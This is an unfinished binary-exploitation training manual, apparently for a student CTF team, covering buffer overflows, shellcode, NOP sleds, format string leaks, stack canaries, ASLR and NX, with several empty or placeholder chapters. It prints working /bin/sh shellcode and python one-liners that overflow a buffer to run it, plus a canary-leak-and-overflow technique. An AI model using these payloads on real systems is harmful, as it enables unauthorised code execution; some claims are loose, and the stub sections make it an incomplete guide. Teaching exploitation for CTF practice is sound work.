CST Training

Binary Exploitation

United States Naval Academy

Cyber Security Team

Contents

Chapter 1

Lesson Plan

1.1 Introduction

Write what you will be talking about in this lesson plan

1.2 Objectives

1. Understanding how memory layout works
2. Understand what shellcode is and how to use it
3. Understand the advances in anti-exploitation and how to get around them
4. Know what Return-Oriented Programming is and how to use it
5. Understand how the Global Offset Table can be manipulated

1.3 Disclaimer

This lesson plan is assuming that you have learned how to reverse engineer programs and can read and understand assembly as well as understanding how the stack and memory addresses generally work.
This is a disclaimer usually about actually doing the problems, or using other resources to supplement this lesson plan.

Chapter 2

Memory

2.1 What is a Buffer

I buffer is a chunk of allocated memory. For example `char buff[40]` will create a buffer that is 40 bytes long.

2.2 Overflowing the Buffer

A Buffer overflow (also know by intellectuals as a "Buffalo Overflow") is when you write more bytes into a buffer in memory than was allocated to it (hence buffer overflow). This is very often tested by giving a program a large input, say 9999 'A's and seeing if the program segfaults. This input can easily be generated with python's -c option.

```
$ python -c "print 'A'*9999"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
```

This can be pass through as either a command line option or if read in through stdin. As a command line option:

```
$ ./crackme $(python -c "print 'A'*500")
Sementation fault
```

The $(...) makes the program run in a sub-shell which is able to compute the output of the python command and then replace it as the command line argument. To pass something in from stdin, you need to run it like we did the first time and then pipe it to the program the you want to run it.

```
bssipes@pres:~/Desktop$ python -c "print 'A'*900" | ./vuln
Enter a string!
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Thanks! Executing now...
Segmentation fault
```

Both of these examples are of overflowing some buffer in the program.

2.3 Why is this possible?

Buffer overflows come from programmers not properly checking the size of their buffers and making sure that they do not receive more than that when they read in data. There are a couple functions to be on the lookout for when looking through a program. These are called the banned functions. Some of the most common ones are: gets(), system(), strcpy(), strcat(), sprintf(), strtok(), scanf(). There are more than this

but these are the most common ones that you will probably see. In CTFs esspecially, they love to use gets(). Not all of these are going to be vulnerable, they are just more likely to be used improperly than most other functions (except for gets, gets is always super vulnerable).

2.3.1 The Big 3

There are three functions that should be looked for in any exploitation challenge. It is important to know the banned functions that we mention above, but these more than any will be the source of the vulnerability. The first function is gets(). gets() is ALWAYS VULNERABLE TO A BUFFER OVERFLOW. ALWAYS. The second function is system(). system() is ALWAYS VULNERABLE too. System will let you run arbitrary commands on their system. system() will run bash on whatever is given to it. This means that if anything you input goes into a system() call then you can run any bash command that you want. The third function is printf(). Wait, what? printf() isn't a banned fucntion. This is true but it is very vulnerable when it is run with input as the format string (the first argument). Be sure to look deeply into any printf() function that and see if a variable is used as the first argument.

2.4 Returning

Now we can overflow the buffer. Great. What does that give us? In the previous examples it ended in a segfault and kill the program. How does that help us? Well to best understand what we can do with that lets look back at the layout of the stack.

```
                            *Note higher addresses are shown at the top of the stack
higher address
               .-----------------.
               |      arg1       |  <-- First argument
               +-----------------+
               |      ret        |  <-- return address
               +-----------------+
       EBP --> |      SBP        |  <-- Saved Base Pointer
               +-----------------+
               |                 |
               +-----------------+
               |                 |
               +-----------------+
               |                 |
               +-----------------+
               |                 |
               +-----------------+
               |                 |
               +-----------------+
      ESP -->  |                 |  <-- Buffer
               '-----------------'
lower address
```

This may be what the stack looks like before anything is read into our Buffer. If we were to finish the function with this stack layout then our program would return to the address that is stored on top of ebp (the return address). Each box represents four bytes on our stack. We see that we have 24 bytes between our buffer and ebp. If we were to read in 32 'A's then our stack might look something like this:

```
                            *Note higher addresses are shown at the top of the stack
higher address
               .-----------------.
               |      arg1       |  <-- First argument
               +-----------------+
```

```
            |  0x41414141    |  <-- return address
            +----------------+
     EBP --> |  0x41414141    |  <-- Saved Base Pointer
            +----------------+
            |  0x41414141    |
            +----------------+
            |  0x41414141    |
            +----------------+
            |  0x41414141    |
            +----------------+
            |  0x41414141    |
            +----------------+
            |  0x41414141    |
            +----------------+
    ESP -->  |  0x41414141    |  <-- Buffer
            '----------------'
lower address
```

Everything has been overwritten with hex 41? Well 'A' has the hex value of 41 which means that all the 'A's that we inputed have filled up our buffer and overwrote both the SBP and the return address. Now if the function were to return it would return to the address 0x41414141. This is probably not going to contain actual instructions and so the program will segfault. Having the program return to 0x41414141 isn't really helpful but what is helpful is getting the program to return to anywhere in memory that we want. This means that if we were to replace the last four 'A's with an address (written in little endian) then it would jump there instead of going back to the calling function.

2.5 How do I know how many As to write?

When you look at the objdump in a function. You will see a command called lea. We lea stands for load effective address. This means that the buffer will be loaded from that spot in memory into and then it gets pushed onto the stack as the arguments for the function. I wrote a simple program that creates a buffer of 60 bytes and then called gets to it.

```
6d6:   48 8d 45 b0             lea    rax,[rbp-0x50]
6da:   48 89 c7                mov    rdi,rax
6dd:   b8 00 00 00 00          mov    eax,0x0
6e2:   e8 99 fe ff ff          call   580 <gets@plt>
```

I compiled this program on a 64 bit processor which is why rax,rbp... are used instead of eax,ebp also note how before the function call the argument is put into the rdi register instead of pushing it onto the stack. This is just how 64 bit calls functions. In this example we see `lea rax,[rbp-x050]`. This means that the buffer which is located at rbp-0x50 is loaded into rax. This means that there is 80 bytes in between rbp and the start of our buffer. But, I didn't allocate any other variables and I told my buffer that I needed 60 bytes. What is in this left over 20 bytes? I'm not entirely sure why the compiler puts 20 more bytes on the stack. Sometimes it is to align the stack or other times it is because it pushes some of the registers at the beginning if it thinks it needs to save them for later. But in this case we see that we need to write 80 'A's to get to the base pointer and then 4 more to get to your return pointer. So to exploit this program we could do

```
python -c 'print "A"*84 + return address' | ./test
```

Where return address is where you want to return to.

2.6 Where to return

Now we have control of eip, the instruction pointer. We can make the program execute any instructions in memory that we want as long as we know the address to them. A common place that you may want to jump is simply another function. Maybe there is a different function that does something that you want such as create a shell or print out a flag, with this technique you can jump there and it will run the function just as if it were just called it. Another very common place to jump to is to our own input. This may seem like a weird idea because 0x41 ('A') is not a very interesting instruction but we do not have to simply write 'A's onto the stack, we can write any thing as long as it is not a NULL (0x00). You cannot write a null byte because a null byte terminates our string and therefore the program will stop reading in when it sees it. Even without a null byte we can still write actual machine code instructions that we will execute when we return to them. This is called shellcode.

Chapter 3

Shellcode

3.1 What is it?

Shellcode originally was assembly opcodes that you can send to a program that when it runs it you obtain a shell. This idea has since been expanded to any assembly opcode that you get a program to run. Shellcode is the opcodes that you create from compiling assembly code. One way to do this is to write a .asm file and then compiling it with the gcc -c command. Then dumping the hex from the program and that is your shellcode. An alternative method is to use an on line resource. We use `https://defuse.ca/online-x86-assembler.htm` to write and then compile our assembly on the file. This website is incredibly useful because it prints out the opcodes for you in as a string literal which is how you need it to pass it into python. An example of shell code that runs /bin/sh is

```
xor   eax,eax     ;zero out eax
push  eax         ;push nullbyte to stack
push  0x68732f2f  ;push hs// to stack
push  0x6e69622f  ;push nib/ to stack /bin//sh in little endian
mov   ebx,esp     ;move address to this string into ebx
push  eax         ;push nullbyte
push  ebx         ;push address of string to stack (char*)
mov   ecx,esp     ;put address of the address of the string (char**)
mov   al,0xb      ;put 0xb into eax
int   0x80        ;call a syscall
```

It is not important right now that you understand why this program is doing what it does, we will get into that later. The important part is that if you compile this you will get the opcodes:
`"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"`

3.2 Using Shellcode

Shellcode is only useful if you are able to get the program to run your shellcode. This requires you to be able to overflow some buffer and as we saw last chapter. You need to then set the return address to point to the start of your shellcode. This address can be found easily in gdb. If you run you program with gdb then you can inspect the stack pointer you can do some quick math to figure out the pointer of your shellcode. NOTE: this can only get you most of the way there. gdb will commonly add a lot more environment variables into memory moving around exactly where the stack is placed in memory. For example, if you run gdb and found that your shellcode is at 0xbffff832 then you might think you can run

```
python -c 'print "A"*84 + "\x32\xf8\xff\xbf" + shellcode' | ./test
```

where your shellcode is merely the string of opcodes that we saw last section. This will probably not work due to the fact that gdb adds in the environment varaibles and now that we are outside of gdb we may not

be at 0xbffff832 but perhaps we're at 0xbffff755. It's a small difference but if we need the exact address then we cannot even be 1 byte off. So how do we solve this? Well we could the do the classic guess and check method which is terrible. Or we could check dmesg after we segfault. dmesg is a linux command that looks at the kernel messages which when we segfault by overwriting the return address it should tell us were the sp or stack pointer is. This works and is pretty simple but on most systems the dmesg command requires sudo. So if you do not have a local copy of the program then you might be out of luck. The last method is instead of finding the exact address of our buffer we can simply make it so that we do not need to find the exact address but an address that is merely close enough. We can do this with a nop sled.

3.3 NOP sledding

A NOP (or No Operation, opcode `\x90`) is an opcode that does nothing. The instruction pointer moves to the next instruction but nothing else is changed. It is generally used for stack alignment but we can use it as back padding for our shellcode. This allows us to land anywhere in the nop sled and then it will move down to the shellcode seamlessly. Now we can be a lot less exact. We can take the address for our buffer that we got in gdb, and use that address with a big enough nop sled and we can execute our shellcode. So how big is big enough? Well I have used about 100,000 nops for a singular exploit before but that was to help me with something else that we will get to later but the point is that you really cannot go too big. For the most part you will want a nop sled that is around 20 to 100 bytes. Now there are two ways we can do this. address our shellcode. We can put it before the return address or after the return address (or if you're careful and absolutely need to you can put it around your return address).

For these two examples we are going to assume that ebp is 0xbffff800.

If we are unable to place anything after the return address or are limited in the number of bytes that we can write we may want to put the shellcode before the return address.

```
python -c 'print "\x90"*(84-23) + shellcode + "\xc0\xf7\xff\xbf"' | ./test
```

First, we changed our 'A's to `\x90` (nop) and then we multiplied that string (just like we did with the 'A's) 84 minus 23 times. This is because we still need to perfectly fill up our buffer up to the return address and since we are adding in our shellcode before the return address we need to take that size into consideration. Our shellcode is 23 bytes long. So now we have 84-23 nops and 23 bytes of shell code which brings us to the return address which we overwrote with ebp-0x40 (0xbffff800-0x40 = 0xbffff7c0) which is not the beginning of our buffer but 0x10 off from it. Once again we are not certain of these addresses so we want to try and land somewhere in the middle of our nop sled.

If we wanted to write our shellcode after the return address we would do basically what we did the first time last section.

```
python -c 'print "A"*84 + "\x20\xf8\xff\xbf" + "\x90"*100 + shellcode' | ./test
```

Now we fill up the buffer, it doesn't matter what we use to fill our buffer this time since we will be jumping after this. Then we overwrite the return address with something that is after our base pointer which should land us in the nop sled which we see comes after the return address.

3.4 Where to get Shellcode

There is a fantastic website called shellstorm (link) where you can find a large variety of shell code. Make sure that you get the shell code for your system (usually Linux x86). Shellcode does not just have to be used to execute /bin/sh and in this case there are tons of different shellcodes that do all sorts of different things. It is highly recommended that this is your first stop when you need shellcode. Shellstorm may be a fantastic website but it does not have everything. There will very well come a time when you need something that shellstorm does not have or, more likely you need shellcode that is slightly different from something that you might find on shellstorm and you need to know how to edit it and get the opcodes for your new shellcode.

3.5 How to write shellcode

Writing shell code is the same as writing assembly, except this time you usually have a different agenda. There are a few differences that you need to pay attention to in order to make your shellcode work. We have already looked into how to write basic assembly. This was our hello world program written in assembly.

```
extern printf
extern exit

section .text
global _start

_start:
     push message
     call printf
     add esp,0x4

     push 0x0
     call exit

section .data
     message db "Hello World!", 0xa, 0x00
```

Let's say we wanted to turn this into shellcode. How would we do that? Well first let's compile this and talk about what we get.

```
$ nasm -f elf32 -o hello.o hello.asm
$ ld -m elf_i386 hello.o -o hello -lc --dynamic-linker /lib32/ld-2.27.so
```

Now we have a 32 bit ELF file called hello that when we run it we get "Hello World!" printed to the screen. But what makes up this program. If we run `ls -lah hello` we see that this binary is 5.4 Kilobytes. Why is it so big when we only wrote a few bytes of assembly? A lot of stuff has to go into a binary. It has to have references to the different parts of itself. It has to know where to look up the the external functions. But this is okay because the only part of a binary that we actually need for the shellcode is the the opcodes from the .text section. We can write out a simple C program to test our shellcode with.

```
int main(){

  char * shellcode =
      "\x68\x14\xa0\x04\x08\xe8\xd6\xff\xff\xff\x83\xc4\x04\x6a\x00\xe8\xdc\xff\xff\xff";

  //cast pointer to function pointer and call
  ((void(*)(void)) shellcode)();

}
```

Where shellcode is equal to the opcodes that we get from the .text section of our program (remember to compile as 32 bits). This however, doesn't work and results in a segfault. This is because our code has fixed references. A fixed reference is the instructions referencing something that is somewhere else in the code. We have three fixed references here. The first is the message which is in the data section but all we took was the .text section so we cannot access that and the other two are the calls to functions elsewhere since we dynamically linked them.

3.5.1 Syscalls

The two calls that we made were kind of important to what we wanted to do. So how can we do anything if we cannot call other functions? One thing we can do is make system calls (syscalls). A syscall is how the program tells the kernel what to do. So things such as I/O and exiting programs are all actually syscalls. Think about anything that required including unistd.h, those were all library calls that setup the registers

for the system call. Well it turns out that we do not need them and can setup the registers and make the system call ourselves. Let's edit our hello world program so that it uses system calls.

```
section .text
global _start

_start:
     ;write(1,message,14)
     mov eax,0x4 ;write syscall
     mov ebx,0x1 ;write to stdout
     mov ecx,message
     mov edx,0xe ;number of bytes
     int 0x80

     ;exit(0)
     mov eax,0x1
     mov ebx,0x0
     int 0x80




section .data
     message db "Hello World!", 0xa, 0x00
```

This is slightly different than just writing assembly. Here we have to change the registers to certain values for each of the syscall. What exactly is a syscall? A syscall is when the computer changes from user space to kernel space to do some sort of execution. We do not have control of what happens once the computer is in kernel space and therefore it does not run our instructions but it's own instructions. The one thing that we can give the kernel is the registers which is why we have to change the registers so that the kernel can know what we want it to do. Each register has a purpose in a syscall. To understand what each register is supposed to have we can look it up in a syscall Table. eax holds the syscall number and then each register from ebx on has the subsequent arguments.

3.5.2 Data on the stack

Great! Now we have eliminated that fixed reference calls but we still have the message in the data section. How do we get rid of that reference? Well we can just put the data onto the stack. This obviously is more complicated than just writing it out as we have but if we are going to exploit something then sometimes we have to do the more complicated thing.

```
section .text
global _start

_start:
     ;write(1,message,14)
     push 0x0 ;nullbyte
     push 0xa ;newline
     push 0x21646c72 ;!dlr
     push 0x6f57206f ;oW o
     push 0x6c6c6548 ;lleH

     mov eax,0x4 ;write syscall
     mov ebx,0x1 ;write to stdout
     mov ecx,esp ;reference to our string
     mov edx,0xe ;number of bytes
     int 0x80
```

```
    ;exit(0)
    mov eax,0x1
    mov ebx,0x0
    int 0x80
```

Now that is starting to look like some shellcode. Here you can see that we pushed our string onto the stack and remember that we have to do this in little endian. Remember that the computer stores information in little endian and therefore we have to as well. The only other difference is the `mov ecx,esp`. We need the reference to our message in there which before was super easy when we stored it in the data section with a reference that we called "message" to it. Now we do not have that luxury. So the way we can reference our string is by pushing it onto the stack and then moving esp into ecx so that ecx points to our string.

Fantastic! Let's test this out in our C code wrapper now. It works!! Let's try throwing it in an exploit like we've done with the shellcode that we found. It doesn't work? We keep getting an error "-bash: warning: command substitution: ignored null byte in input" This is because a nullbyte is considered a bad character.

3.5.3 Bad Characters

A character that can not be properly read in is often called a "Bad Character". The most common bad character is \x00 or the nullbyte. However, depending on how a program reads in data and what it does with this data, there can be many more. A bad character is something that you have to avoid using in your shellcode because it will break it.

scanf: whitespace (not nullbytes)
read: no bad characters
gets: nullbytes
argv: nullbytes (whitespace if you do not use quotes)

3.5.4 Getting rid of Bad Characters

So how do we get rid of these bad characters? Probably the easiest way is to objdump your code and look for them in opcode section next to your assembly and consider how else you can write assembly to do that same thing but without that same instruction. We will explain how to get rid of the nullbytes in our hello world but it will be left as an exercise to the read to figure out how to get rid of any other bad character in any other problem.

```
section .text
global _start

_start:
    ;write(1,message,14)
    xor eax,eax
    mov ebx,eax
    mov ecx,eax
    mov edx,eax ;zero out all the registers

    push eax ;nullbyte
    push 0xa ;newline
    push 0x21646c72 ;!dlr
    push 0x6f57206f ;oW o
    push 0x6c6c6548 ;lleH

    mov al,0x4 ;write syscall
    mov bl,0x1 ;write to stdout
    mov ecx,esp ;reference to our string
    mov dl,0xe ;number of bytes
    int 0x80
```

```
;exit(0)
xor eax,eax
mov ebx,eax ;zero out registers

mov ebx,eax ;move zero into ebx
mov al,0x1 ;exit syscall
int 0x80
```

We have removed all of the null bytes. Most of our nullbytes had come from moving a 1 byte number into a 4 byte register. When we do this we have to also move 3 null bytes into the other parts of the register. Instead we can zero out a register and then move it into all the others to zero out all the registers and then move a 1 byte value into the lowest 1 byte part of each register. The other nullbyte came from us pushing a nullbyte to the end of the string but we were able to remove this by simply pushing eax (which is nulled out) onto the stack instead. It has the exactly the same effect (In this case it was not even needed because when we pushed the newline it also pushed 3 nullbytes because push always pushes 4 bytes and nulls out the ones you do not need).

3.5.5 Conclusion

You now have the knowledge to be able to write just about any shellcode you may desire. Shellcode that merely writes Hello World! to the screen is not very exciting but you should be able to write shellcode to do anything that you want. I encourage you to go to shellstorm and read through some of the different shellcodes that some people wrote and see how creative some people have become especially in how small some of their shellcodes can become.

3.6 Example Problems

Pico2018 Shellcode

Chapter 4

Format string attack

Format strings are used a lot. Anytime you call printf, scanf, sscanf, or any of these variants, a format string is used. The printf man pages states "`int printf(const char *format, ...)`" printf's first argument is a char*format, this is indistinguishable from any other char* because they are all the same time. A format string is a string used for a format functions (ex. printf) that contains text and format parameters. The format parameter in a format string is the per cent whatevers. For example `printf("The magic number is: %d\n", 5);` in this case the format string is the first argument (the thing in quotes) and the format parameter is the `%d`. This will substitute the `%d` with the 5. So the output would be "The magic number is: 5"

The way this works is that the format function substitutes all format parameters with each respective arguments in order. This means that we can have as many format parameters in our format string as we want and it will continuously pull them from the arguments.

```
int main(){
  char* you = "Trevor";
  char* me = "Robbert";
  int age = 25;
  printf("Hello %s, my name is %s, I am %d years old, are you %d too?", you, me, age, age);
}
$ ./a.out
Hello Trevor, my name is Robbert, I am 25 years old, are you 25 too?
```

As you can see it substituted all of our variables that we passed as arguments to printf into our format string just like magic. But what if we had forgotten to add in the second age into the printf? If we think back to how the stack is arranged we know that all the arguments are put on the stack before the function is call. Which is in fact how all functions in x86 work. Functions all assume that the stack was setup properly before the function was called. This means that even if we didn't give the function the proper arguments, because of the format string, it is going to assume that the arguments are there on the stack.

So what happens? If the format string tried looking for an argument that it was not given then it will use whatever is sitting on the stack where the argument would have been placed had it been passed through.

We can use this to our advantage to leak information about what is on the stack.

```
int main (int argc, char **argv) {
  printf(argv[1]);
  printf("\n");
}
```

Try compiling this program and running it with a few options. You will see that it simply returns whatever you give it. But if we remember back the first argument of printf is a char* which is what argv[1] is. We normally give printf something like "Hello %s". The only difference between our argv[1] and this is the format specifier. Let's try running our program but with "%x" instead. We see that it prints out some weird 4 bytes rather than our string? This is because printf is using our input and replacing it. But the

argument that it would normally use is simply the argument on top of the stack because printf assumes that an argument was given to it. With this we can print out anything that is on the stack. We can either pass it through multiple %x to view everything or we can write "%7$x" where 7 is the "argument" on the stack that you want to access.

4.1 per cent n

4.2 Formats

Format is in the format of: %[index$][flags][padding][modifiers][converstions]

    converstions: s - until null
i - four byte number
d - four byte number
x - four byte number
p - short/4 bytes (whichever is the pointer length)
u
    modifiers: h - Two bytes
hh - one byte

    padding:
number of padding (some number, can be negative (spaces))

    flags:
+/-,
#, - prints 0x in front
0, different leading characters

    index:
which argument to use

4.3 Example problems

Leaky in Hackcenter enigma secret in pico2017

Chapter 5

Tips and Techniques

5.1 FIFOs

There will be times in which you will need to read some output of a binary and then be able to send in more input. For example, if we have a buffer overflow with a stack canary (if you don't know what that is give the canary section a quick look), we may have to leak the canary and then build out buffer overflow all without exiting the binary. The way we normally craft exploits, by building out some python command, does not allow us to do this. FIFOs can be our solution here. A FIFO (First In First Out) is similar to a pipe that you can read from or write to. To use FIFOs we will want to terminal screens in the same directory.

Listing 5.1: terminal 1

```
$ mkfifo myPipe
$ ls
myPipe
$ cat myPipe
hi
$
```

Listing 5.2: terminal 2

```
$ ls
myPipe
$ echo "hi" > myPipe
$
```

In the first terminal we made the fifo that we called "myPipe" and then we cat-ed it. The cat command will hang trying to read from the pipe while there is nothing in it. Then in the other terminal we can merely echo something into the pipe and it will be cat-ed out back in the first terminal. To use this idea to get around a canary, we could craft our exploit like such:

Listing 5.3: terminal 1

```
$ ./registrar %19\$lx < <(cat myPipe)
Attempting to register code name:
987cd77599ac2400
Enter password for code name:
```

Listing 5.4: terminal 2

```
$ python -c "import struct; print 'A'*72 +
    struct.pack('<Q', 0x987cd77599ac2400)"
    > myPipe
```

Let us break this down a little bit. This comes from a problem very much like our example where there is a canary on the stack and we have to overflow a buffer but not kill the canary. So we are able to leak the canary with a printf() vulnerability (the "%19\$lx") and then we redirect the output of cat-ing our pipe in the program so that it will read it. As it is right now in the first terminal, it is hanging waiting for input from our pipe. In the second terminal we craft our exploit by creating our python command like we normally would but now we can take the canary that we leaked in the first terminal into our command and send it back into the pipe. I understand that the "<( )" might be a little confusing but it basically runs whatever commands are inside of the parens and then turns that into a make shift file that we then redirect into standard in for the program.

5.2 Scripting your exploits

pwntools

Chapter 6

Anti-Pwning Advancements

6.1 Stripped Binaries

While not technically an Anti-Pwning technique, Stripped binaries do make it far more difficult to work with. When a program gets compiled there is a option with the compiler to strip the binary. What this means is that it takes away many of the debugging symbols in the program. Therefore there is not longer any main in the compiled program or any other function names for that matter. They are not necessary for the program to run and therefore are stripped out of it. All binaries start at _start which then normally calls main. But in the case of a stripped binary it _start does the setup that it always does (just usually in the background) and makes some calls and eventually ends up running the code for the main function.

This is used to shrink down the size of the binary file and potentially give better performance. The only problem is that it makes it more difficult to reverse engineer. One of the techniques to reverse engineering this type of binary is to first figure out where the code is. If source code was given then simply look for similarly corresponding assembly. Meaning, if you see that there is a scanf and then a printf in the source, then go to the start of the code and read down until you get to corresponding assembly code. From there you can just read the source and go down from there. More likely you will not be given the source code and you will have to figure it all out on your own. If that is the case then who even cares what the whole binary is. You do not have to figure out what the whole program does, just the parts of it that matter to you. This means that you can look for some of the key functions that we know we want to try to exploit and go from there. Even in a stripped binary, the libc function calls still have their names. So you can open up a binary and look at the top headers to see what functions are linked in the binary so decide which one you think is vulnerable. Once you figure that out it is simply enough to search the assembly for that function call and then figure out how your input gets passed into it.

Using GDB. Generally the first thing we do when we are reversing a binary with GDB is we break at main(). Well, since we do not have a main() there is no way we can break there... In GDB we can type "start" and it will create a temporary break point at the start of the binary. You could go on and just keep typing "ni" from there but there is an even more efficient way of doing reversing this. If you have looked at the assembly like we discussed in the previous paragraph, then you should already know some interesting addresses that you can just jump straight to. You can just set a break point there and start using gdb and reading the assembly to figure out what to do. *NOTE* Sometimes you will have to run "start" in gdb before actual addresses can be accessed. This is due to PIE.

NOTE: `https://reverseengineering.stackexchange.com/questions/1935/how-to-handle-stripped-binaries-wi` read this and then finish this chapter.

6.2 Stack Canary

The name stack canary comes from the use of canaries in mine shafts. Miners would keep canaries with them to detect the presence of Carbon Monoxide. If the Canary died then the miners would know to leave because the mine would be filling up with CO. This is not exactly how a stack canary works but it follows

the same principle. A program will place some bytes at the top of the stack before the return address and this is the canary. This way if a buffer is overflowed then the canary is overwritten as you are trying to overwritten the return address and take control of eip. There is a check at the end of the function that is there to make sure the canary was not overwritten and if it was then it will kill the program.

6.2.1 Canary implementations

Depending on how a canary is implemented will determine how you will go about getting around it. A very basic implementation of a canary may involve assigning a specified value to a variable at the start of a function and then testing to see if it still equaled that value at the end of the function. Another method could be to read a canary in from a file or a global variable such that the canary cannot be seen from the source code nor the disassembly but is a constant value. The last method of a canary that we will talk about is also the most common. It involves randomly generating a canary at run time.

6.2.2 Getting around Canaries

First off, we need to remember what a bad character is. A bad character is any character that cannot be read in. This will change for every different read in function. It is important to know which characters are bad characters for a given program because it may cause issues if the canary contains one of these bad characters. A very common example is a canary containing a nullbyte. Nullbytes will be added to the end of most read in functions and therefore, if multiple read ins are use then it becomes possible to place a nullbyte in the canary. Otherwise, the read() function will read in anything including nullbytes and so will most file reads.

If a canary is hard coded into the program such as at the start of a function then the simplest method to get around it is to look into either the source or the disassembly and determine what the canary is and then simply overwrite it with itself.

The slightly more advanced implementation is one where it is not possible to determine what the canary is from simply looking at the source or assembly of it. These would be cases where the canary is read in from a file that you cannot read or it is stored in memory somewhere that you cannot access. Since this type of canary is constant no matter how many times you run the program, the way to get around it is to brute force the canary. This means filling up the buffer right until the start of the canary and then testing all 0x00 through 0xff until you find the one that matches. Make sure that you are not adding anything after the current character that you are writing (this means no new lines either) otherwise you will clobber the next part of the canary and never figure out the right character for the current spot in the canary.

Most modern compilers place a stack canary at the top of the stack at run time and this canary changes every time you run the program. There are a few ways to get around this. One way would be to leak the canary with something like a format string vulnerability. This form of canary is decent security and will be difficult to get around.

6.3 ASLR

ASLR stands for Address Space Layout Randomization. Basically this means that most of the addresses will be randomized at run time. This does not apply to all memory addresses though. ASLR (non-PIE) will randomize the base address of the Heap, Stack, bss, and data segments. PIE (Position Independent Executable) will also randomize all bases of memory including the text segment.

6.3.1 Never tell me the odds

In a 32 bit operating system there are obviously 32 bits that are used as addresses. Out of these 32 bits, the first 9 are constant inside of ASLR. And the last 4 are constant. This means that there are $32 - 9 - 4 = 19$ bits that are random. This means that if we write a simple exploit like we always do then we have a 1 over 2 to the power of 19 change of hitting it. This means that if we tried over and over again, it would take 100000 to get to a 17% change of hitting your shellcode.

We can however improve these odds remember when we talked about a nop sled? A nop sled let us be sloppy and lazy choose an address that was relatively close to our shell code. This same idea can be used along with ASLR. If we were to add in a large enough nop sled then we can effectively reduce down the bits of randomness because we wouldn't care where in our nop sled it hit as long as it hit somewhere in it. So if we created a nop sled of 0xFFFF (or 65535) we could jump anywhere in the range of addresses that contained that nop sled. 0xffff is 16 bits. This means that the bottom 16 bits are now superfluous to us. We now have $32 - 9 - 16 = 7$ bits. This means that we have a 1 over 2 to the power of 7 change of hitting our exploit. If we tried this multiple times it would take us roughly 100 tried to get 50% change of hitting our shellcode.

There is a limit to how many nops you can read in. This is determined by how something is read in. This is due to the limit on the buffer of the read. This means that there could be no limit such as if it is being read in from a file. or there could be some upper bound on what you can read in. Unless it is specified in the code, reading in 0xFFFF bytes of nops is do able.

If we follow this same math with 64 bits we quickly see that brute forcing a 64 bit system will take forever. I will not do the math because I do not know the exact number of randomness bits.

There is, however, another way of doing this. We see that only the Heap, Stack, bss, and data are randomized. Which means that we can deterministically know the addresses of code in the text segment. This means that attacks such as Ret-2-libc and ROP are viable means to get around ASLR 32 bit and 64 bit. We will discuss these in more detail later.

6.4 Executable space protection (NX)

The first way of exploiting a buffer overflow was by putting shellcode on the stack and then overwriting the return address to point to our shellcode. One of the fundamental ideas behind this is that we can write to the same space in memory that we can execute. This has been proved to be a violation of security. You should never be able to write to the same place in memory that you can execute just like you should not be able to execute anywhere that you can write to. This concept goes by many names, Executable Space Protection, NX (No Execute), Write xor Execute, DEP (in windows).

Chapter 7

RET-2-libc

So we know that we can return to different addresses in the program but what if there is nothing that I want inside of the current binary? Well, there are other places that the program can execute as well. That's right, the binary can execute code inside of other linked libraries which in most cases will be libc. So if you have access to the libc that a program is using, they give you their libc, or you can simply guess what version of libc they are running, then you can return there.

Chapter 8

Return-oriented Programming (ROP)

8.1 What is ROP

8.2 ROP chaining

Chapter 9

Global Offset Table (GOT)

Chapter 10

Heap Exploitation

There are pretty much two areas that are used in exploitation. The Stack and the Heap. The stack based exploitation is what we have been learning about all up until now. This invovles overflowing buffers or messing with printf() functions. Heap exploitation, on the other hand, is based on different principles.

First we should talk about how the heap works. First off the heap is the space of data that can be allocated and deallocated for use. This means that it is persistent across functions. Therefore, you can allocate memory in the heap, pass a pointer to that location through a function, and then when you leave the function, the changes that were made to that area in the heap will still be there. The main functions that you will see to allocate heap space will be one of the malloc() varients (malloc, calloc, realloc). Since heap space is unrelated to stack space it needs to be freed up when you are done with it otherwise there is a memory leak. To free up heap space the "free()" function is used.

So how can we use this to exploit anything? ... I don't know...

10.1 further reading

There is a great Phrack article about heap exploitation that I suggest you read called Once upon a free() More Heap training READ THIS AND THEN DO THIS TRAINING

Chapter 11

Windows Exploitation

11.1 Structured Exception Handlers (SEH)